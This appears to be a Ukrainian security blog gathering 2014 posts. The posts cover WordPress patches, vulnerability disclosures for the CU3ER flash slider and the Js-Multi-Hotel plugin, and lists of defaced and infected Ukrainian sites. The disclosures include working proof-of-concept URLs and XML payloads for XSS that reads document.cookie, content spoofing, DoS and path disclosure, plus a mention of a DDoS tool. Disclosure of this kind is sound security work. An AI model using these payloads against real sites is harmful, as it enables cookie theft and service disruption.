Websecurity - Веб безпека

У квітні, 08.04.2014, вийшла нова версія WordPress 3.8.2. Разом з нею вийшла версія 3.7.2 з виправлення тих самих уразливостей.

WordPress 3.8.2 це багфікс та секюріті випуск нової 3.8 серії. В якому розробники виправили 9 багів та 5 уразливостей.

Серед виправлених уразливостей дві дірки та три “посилення безпеки”. Це підробка кукісів (authentication cookie forgery) та privilege escalation уразливість, що дозволяла користувачам з правами Contributor публікувати пости.

Серер посилень безпеки наступні: покращення pingbacks (виправлена уразливість, що дозволяла проводити DoS атаки через пінгбеки), виправлена SQL Injection в адмінці та виправлена XSS в бібліотеці Plupload, що постачається з WP.

26.11.2013

Раніше я писав про уразливості в CU3ER. У жовтні, 12.10.2013, я виявив Content Spoofing та Cross-Site Scripting уразливості в веб додатку CU3ER та численних плагінах. Ця флешка використовується на мільйоні сайтів і в багатьох плагінах для різних CMS. Про що найближчим часом повідомлю розробникам даних плагінів.

Детальна інформація про уразливості з’явиться пізніше.

18.04.2014

Флешка CU3ER міститься в wpCU3ER для WordPress, jCU3ER і Vinaora Cu3er 3D Slide-show для Joomla, cu3er-silverstripe-extension для SilverStripe, collective.cu3er для Plone та багатьох інших плагінах. І всі вони мають Content Spoofing та XSS уразливості.

Адреси флешки в різних плагінах:

http://site/wp-content/uploads/wpcu3er/CU3ER.swf
В старих версіях плагіна:
http://site/wp-content/plugins/wp-cu3er/cu3er.swf
http://site/wp-content/plugins/wp-cu3er/assets/cu3er/cu3er.swf

http://site/components/com_cu3er/flash/CU3ER.swf

http://site/media/mod_vinaora_cu3er/flash/cu3er.swf

http://site/cu3er-silverstripe-extension/flash/cu3er.swf

http://site/collective/cu3er/browser/flash/cu3er.swf

Перші два плагіни використовують останню версію CU3ER, а три інші плагини використовують версію 0.9.2 (а також в старих версіях wp-cu3er).

Content Spoofing (WASC-12):

http://site/cu3er.swf?xml=http://site2/1.xml

1.xml:

<?xml version="1.0" encoding="UTF-8"?>
<cu3er>
<slides>
<slide>
<url>1.jpg</url>
<link>http://websecurity.com.ua</link>
</slide>
</slides>
</cu3er>

Cross-Site Scripting (WASC-08):

http://site/cu3er.swf?xml=http://site2/xss.xml

xss.xml:

<?xml version="1.0" encoding="UTF-8"?>
<cu3er>
<slides>
<slide>
<url>1.jpg</url>
<link>javascript:alert(document.cookie)</link>
</slide>
</slides>
</cu3er>

Для атаки між доменами потрібен crossdomain.xml на сайті з xml-файлами.

Це приклади CS і XSS атак для версії CU3ER 0.9.2. Для останньої версії 1.24 потрібні інші xml-файли та для флешки вказується інший параметр.

CS (WASC-12):

http://site/cu3er.swf?xml_location=http://site2/1.xml

cu3er-3.xml

XSS (WASC-08):

http://site/cu3er.swf?xml_location=http://site2/xss.xml

cu3er-4.xml

Уразливі всі плагіни з флешкою CU3ER: wpCU3ER 0.75, jCU3ER 0.12, Vinaora Cu3er 3D Slide-show 1.2.1, 2.5.3, 3.1.1, cu3er-silverstripe-extension, collective.cu3er 0.1 та попередні версії цих плагінів.

Після попереднього дослідження похаканих сайтів, приведу нову інформацію про взломані сайти. З числа українських сайтів.

• http://www.scourt.gov.ua (хакером fr0g) - 04.09.2013 - похаканий державний сайт, зараз сайт вже виправлений адмінами
• http://svitanok.gov.ua (хакером d3b~X) - 11.03.2014 - похаканий державний сайт, зараз сайт вже виправлений адмінами
• http://vesti.ua (хакерами з PATRIOTS) - 16.04.2014, зараз сайт вже виправлений адмінами
• http://viknari.com.ua (хакером redspy)
• http://troyanda.kr.ua (хакерами з Iran Security Team) - 15.04.2014, зараз сайт не працює (відключений провайдером через його взлом)

Після попереднього дослідження інфікованих сайтів, приведу нову інформацію про заражені сайти. З числа українських сайтів.

• http://tiande-rivne-com-ua.1gb.ua - інфекція була виявлена 29.01.2014. Зараз сайт входить до переліку підозрілих.
• http://mignews.com.ua - інфекція була виявлена 18.03.2014. Зараз сайт не входить до переліку підозрілих.
• http://mignews.com - інфекція була виявлена 18.03.2014. Зараз сайт не входить до переліку підозрілих.
• http://weblog.com.ua - інфекція була виявлена 18.03.2014. Зараз сайт не входить до переліку підозрілих.
• http://statuspress.com.ua - інфекція була виявлена 19.03.2014. Зараз сайт не входить до переліку підозрілих.

Продовжуючи тему уразливостей в плагінах для WordPress, пропоную вам інформацію про дірки в інших плагінах для WP.

Цього разу повідомляю про уразливості в плагінах Orange, Page Flip Image Gallery та DZS Video Gallery. Для котрих з’явилися експлоіти. Orange - це тема движка, Page Flip Image Gallery - це плагін для створення галереї зображень, DZS Video Gallery - це плагін для створення відео галереї.

• WordPress Orange Cross Site Request Forgery (деталі)
• WordPress Page Flip Image Gallery Shell Upload (деталі)
• WordPress DZS Video Gallery 3.1.3 Remote File Disclosure (деталі)

Стосовно DZS Video Gallery, то це не RFD, а Content Spoofing.

Користувачам даних плагінів варто або оновити їх, або власноруч виправити дірки. В якості тимчасового рішення, поки не будуть виправлені чи оновлені плагіни, можна їх виключити в адмінці.

Виявлені численні уразливості безпеки в Apple Safari.

Уразливі версії: Apple Safari 6.1, Safari 7.0.

Численні пошкодження пам’яті, обхід обмежень.

• APPLE-SA-2014-04-01-1 Safari 6.1.3 and Safari 7.0.3 (деталі)

Після попереднього дослідження похаканих сайтів, приведу нову інформацію про взломані сайти. З числа українських сайтів.

• http://www.dei.gov.ua (хакером Dr.SHA6H) - 27.02.2014 - похаканий державний сайт, зараз сайт вже виправлений адмінами
• http://www.brusyliv-rda.gov.ua (хакером d3b~X) - 02.03.2014 - похаканий державний сайт, файл хакера все ще розміщений на сайті
• http://ivooptyka.com.ua (хакером SiR Abdou) - 06.03.2014, зараз сайт вже виправлений адмінами
• http://www.aneda.com.ua (хакером DaiLexX) - 04.03.2014, зараз сайт вже виправлений адмінами
• http://c-g.dn.ua (хакерами з Holy Lycans) - 28.03.2014, зараз сайт закритий хостером

Після попереднього дослідження інфікованих сайтів, приведу нову інформацію про заражені сайти. З числа українських сайтів.

• http://kalodyx.pp.ua - інфекція була виявлена 18.01.2014. Зараз сайт входить до переліку підозрілих.
• http://expert.ua - інфекція була виявлена 18.03.2014. Зараз сайт не входить до переліку підозрілих.
• http://myinfos.com.ua - інфекція була виявлена 09.04.2014. Зараз сайт входить до переліку підозрілих.
• http://femina.com.ua - інфекція була виявлена 18.03.2014. Зараз сайт не входить до переліку підозрілих.
• http://tradeup.com.ua - інфекція була виявлена 05.04.2014. Зараз сайт не входить до переліку підозрілих.

Продовжуючи тему уразливостей в плагінах для WordPress, пропоную вам інформацію про дірки в інших плагінах для WP.

Цього разу повідомляю про уразливості в плагінах Blogfolio, Folo та Easy Career Openings. Для котрих з’явилися експлоіти. Blogfolio - це тема движка, Folo - це тема движка, Easy Career Openings - це плагін для створення списку вакансій.

• WordPress Blogfolio Shell Upload (деталі)
• WordPress Folo Theme Cross Site Scripting (деталі)
• WordPress Easy Career Openings SQL Injection (деталі)

Користувачам даних плагінів варто або оновити їх, або власноруч виправити дірки. В якості тимчасового рішення, поки не будуть виправлені чи оновлені плагіни, можна їх виключити в адмінці.

У березні, 21.03.2014, я виявив Abuse of Functionality, Denial of Service, Cross-Site Scripting та Full path disclosure уразливості в плагіні Js-Multi-Hotel для WordPress. Про що найближчим часом повідомлю розробникам. Це друга частина уразливостей в цьому плагіні, а з часом я оприлюдню інші дірки.

Раніше я писав про XSS і FPD уразливості в Js-Multi-Hotel для WordPress. Стосовно плагінів для WordPress перед цим я писав про уразливості в VideoWhisper Live Streaming Integration для WP.

Abuse of Functionality (WASC-42):

http://site/wp-content/plugins/js-multihotel/includes/show_image.php?file=http://site&w=1&h=1

DoS (WASC-10):

http://site/wp-content/plugins/js-multihotel/includes/show_image.php?file=http://site/big_file&h=1&w=1

Окрім проведення DoS атак вручну, також можна проводити автоматизовані DoS і DDoS атаки з використанням DAVOSET.

Cross-Site Scripting (WASC-08):

http://site/wp-content/plugins/js-multihotel/includes/delete_img.php?path=%3Cbody%20onload=with(document)alert(cookie)%3E

Про XSS уразливість в refreshDate.php в параметрі roomid я вже писав раніше.

Full path disclosure (WASC-13):

http://site/wp-content/plugins/js-multihotel/includes/functions.php
http://site/wp-content/plugins/js-multihotel/includes/myCalendar.php
http://site/wp-content/plugins/js-multihotel/includes/refreshDate.php?d=
http://site/wp-content/plugins/js-multihotel/includes/show_image.php
http://site/wp-content/plugins/js-multihotel/includes/widget.php
http://site/wp-content/plugins/js-multihotel/includes/phpthumb/GdThumb.inc.php
http://site/wp-content/plugins/js-multihotel/includes/phpthumb/thumb_plugins/gd_reflection.inc.php

Уразливі Js-Multi-Hotel 2.2.1 та попередні версії.